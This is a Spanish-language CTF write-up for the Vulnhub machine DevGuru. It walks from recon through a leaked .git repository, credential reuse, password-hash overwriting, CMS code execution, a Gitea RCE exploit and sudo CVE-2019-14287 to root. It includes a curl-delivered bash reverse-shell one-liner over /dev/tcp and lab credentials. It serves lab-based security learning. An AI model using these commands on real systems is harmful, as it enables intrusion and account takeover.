Post

DevGuru | CTF Writeup - Vulnhub

DevGuru

Empezamos escaneando nuestra red local para encontrar la IP de la máquina víctima.

1
2
3
4
5
6
7
8
9
10
> sudo netdiscover -r 192.168.216.0/24

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                                                                                                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.216.1   00:50:56:c0:00:08      1      60  VMware, Inc.                                                                                                                                                                      
 192.168.216.2   00:50:56:e2:11:a1      1      60  VMware, Inc.                                                                                                                                                                      
 192.168.216.149 00:0c:29:b5:fa:d7      1      60  VMware, Inc.                                                                                                                                                                      
 192.168.216.254 00:50:56:f8:e9:f9      1      60  VMware, Inc.

Exportamos la IP a una variable de entorno con el siguiente comando: export IP=192.168.216.149. Aplicamos un escaneo exhaustivo con nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.93 scan initiated Mon Jan 22 16:48:53 2024 as: nmap -sS -p- -T5 --min-rate 5000 -vv -oN scan.txt -Pn -n 192.168.216.149
Nmap scan report for 192.168.216.149
Host is up, received arp-response (0.00059s latency).
Scanned at 2024-01-22 16:48:53 -03 for 1s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
8585/tcp open  unknown syn-ack ttl 64
MAC Address: 00:0C:29:B5:FA:D7 (VMware)

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jan 22 16:48:54 2024 -- 1 IP address (1 host up) scanned in 1.19 seconds

Si enumeramos la página web con el script http-enum de nmap, encontramos un archivo .htaccess. En el mismo, veremos lo siguiente:

[Pasted image 20240219030348.png]

Vemos que hay un archivo adminer.php. Sin embargo, no conocemos las credenciales.

[Pasted image 20240219030424.png]

Otra cosa que podemos ver es que la web carga recursos de un dominio devguru.local. Se está efectuando virtual hosting. Si lo añadimos a nuestro archivo /etc/hosts para que nos resuelva a ese dominio, y nos dirigimos en la web al puerto 8585, vemos lo siguiente:

[Captura de pantalla (282).png]

[Captura de pantalla (283).png]

Vemos que hay un usuario válido: frank.

[Pasted image 20240219035725.png]

Para seguir con el escaneo y profundizar aún más, hacemos detección de versiones en los servicios que corren en la máquina, nuevamente con nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.93 scan initiated Mon Jan 22 16:49:17 2024 as: nmap -sCV -p22,80,8585 -oN versions.txt 192.168.216.149
Nmap scan report for 192.168.216.149
Host is up (0.00032s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a46e82b01ff57587a5f25a4d6f2898e (RSA)
|   256 0879939ce3b4a4be80ad619dd388d284 (ECDSA)
|_  256 9cf988d43377064ed97c39173e079cbd (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-git: 
|   192.168.216.149:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: first commit 
|     Remotes:
|       http://devguru.local:8585/frank/devguru-website.git
|_    Project type: PHP application (guessed from .gitignore)
|_http-generator: DevGuru
|_http-title: Corp - DevGuru
|_http-server-header: Apache/2.4.29 (Ubuntu)
8585/tcp open  unknown

MAC Address: 00:0C:29:B5:FA:D7 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 22 16:50:45 2024 -- 1 IP address (1 host up) scanned in 88.26 seconds

¡Hay un directorio .git en el servidor HTTP! Podemos intentar enumerar lo que hay dentro con la herramienta Git Dumper.

1
> python3 git_dumper.py http://$IP/.git/ dump

Vemos lo siguiente.

[Pasted image 20240219030859.png]

Si nos dirigimos a config veremos un archivo database.php. Hacemos un cat database.php y podremos ver credenciales expuestas.

[Pasted image 20240219031044.png]

Intentamos iniciar sesión en Adminer con las credenciales october:SQ66EBYx4GT3byXH.

[Pasted image 20240219031149.png]

Me llama especialmente la atención la sección de backend_users. Si entramos allí, podemos ver un usuario frank. Vemos una contraseña encriptada con bcrypt, así que podríamos intentar colar nuestra propia contraseña encriptada con el mismo tipo de hash para poder burlar el sistema. El problema sería saber cuál es la sección donde podríamos iniciar sesión como frank.

[Pasted image 20240219031236.png]

Haciendo una búsqueda más exhaustiva, con gobuster encontré un directorio backend.

1
> gobuster dir -u http://$IP --add-slash -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bak

[Pasted image 20240219031835.png]

Encriptamos nuestra propia contraseña. Por ejemplo, hola123. Esto lo haremos con https://bcrypt-generator.com/. Colocamos el hash en la columna de password, correspondiente al usuario frank. Si ahora intentamos entrar al panel de control de October CMS con nuestra contraseña, podremos apreciar que efectivamente hemos logrado cambiarla.

[Pasted image 20240219032216.png]

Nos vamos a la sección de CMS para proceder a explotar este gestor de contenido.

[Pasted image 20240219032327.png]

Una vez aquí, solo queda buscar como ejecutar comandos remotamente. Me encontré con este post de hace varios años ya, donde explican como ejecutar código php en una página desde este gestor: https://octobercms.com/forum/post/running-php-code-on-pages.

[Pasted image 20240219032850.png]

“Llamamos” a la variable en la sección markup.

[Pasted image 20240219032915.png]

Si entramos a http://$IP/services?cmd=whoami podremos ver el output del comando.

[Pasted image 20240219033001.png]

Desde una consola, hacemos una petición HTTP con el comando curl -s -G "http://$IP/services" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/myIP/myPort 0>&1'". Nos ponemos en escucha desde myPort y mandamos la petición.

[Pasted image 20240219033600.png]

¡Estamos dentro! Si nos vamos a /var/, veremos un archivo app.ini.bak. Si hacemos un cat app.ini.bak | grep -i password -B 5 -A 5:

[Pasted image 20240219034159.png]

Intentamos iniciar sesión nuevamente en Adminer con estas credenciales.

[Pasted image 20240219034427.png]

Nuevamente nos vamos a la sección de users en la base de datos gitea.

[Pasted image 20240219034501.png]

Entramos a editar el usuario. El algoritmo criptográfico de la contraseña es pbkdf2.

[Pasted image 20240219034641.png]

Cambiamos el algoritmo a bcrypt, y luego cambiamos la contraseña al hash que habíamos generado anteriormente. Intentamos entrar a la página de gitea que vimos al principio de la etapa de reconocimiento.

[Pasted image 20240219035641.png]

Tenemos la versión de gitea.

[Pasted image 20240219035823.png]

Podemos intentar buscar vulnerabilidades de esta versión con searchsploit. Buscando por internet, encontré el siguiente script para poder explotar una vulnerabilidad del tipo RCE (Remote Command Execution): https://www.exploit-db.com/exploits/49571. Ejecutamos el script y nos ponemos en escucha por el puerto indicado a la hora de ejecutar.

[Pasted image 20240219040215.png]

¡Bien! Ya migramos al usuario frank. Tenemos la flag.

[Pasted image 20240219041239.png]

Empezamos a enumerar.

[Pasted image 20240219040313.png]

Podemos ejecutar como todos los usuarios el binario /usr/bin/sqlite3 exceptuando el usuario root, sin brindar contraseña. Esto puede llegar a ser crítico dependiendo de la versión de sudo. Checkeamos la versión con sudo --version, y vemos que está en la 1.8.21p. Es vulnerable al CVE 2019-14287 (Demo: https://www.exploit-db.com/exploits/47502).

[Pasted image 20240219040906.png] [Pasted image 20240219040947.png]

¡Listo! Ya somos root y pwneamos la máquina.

¡Muchas gracias por leer!

This post is licensed under CC BY 4.0 by the author.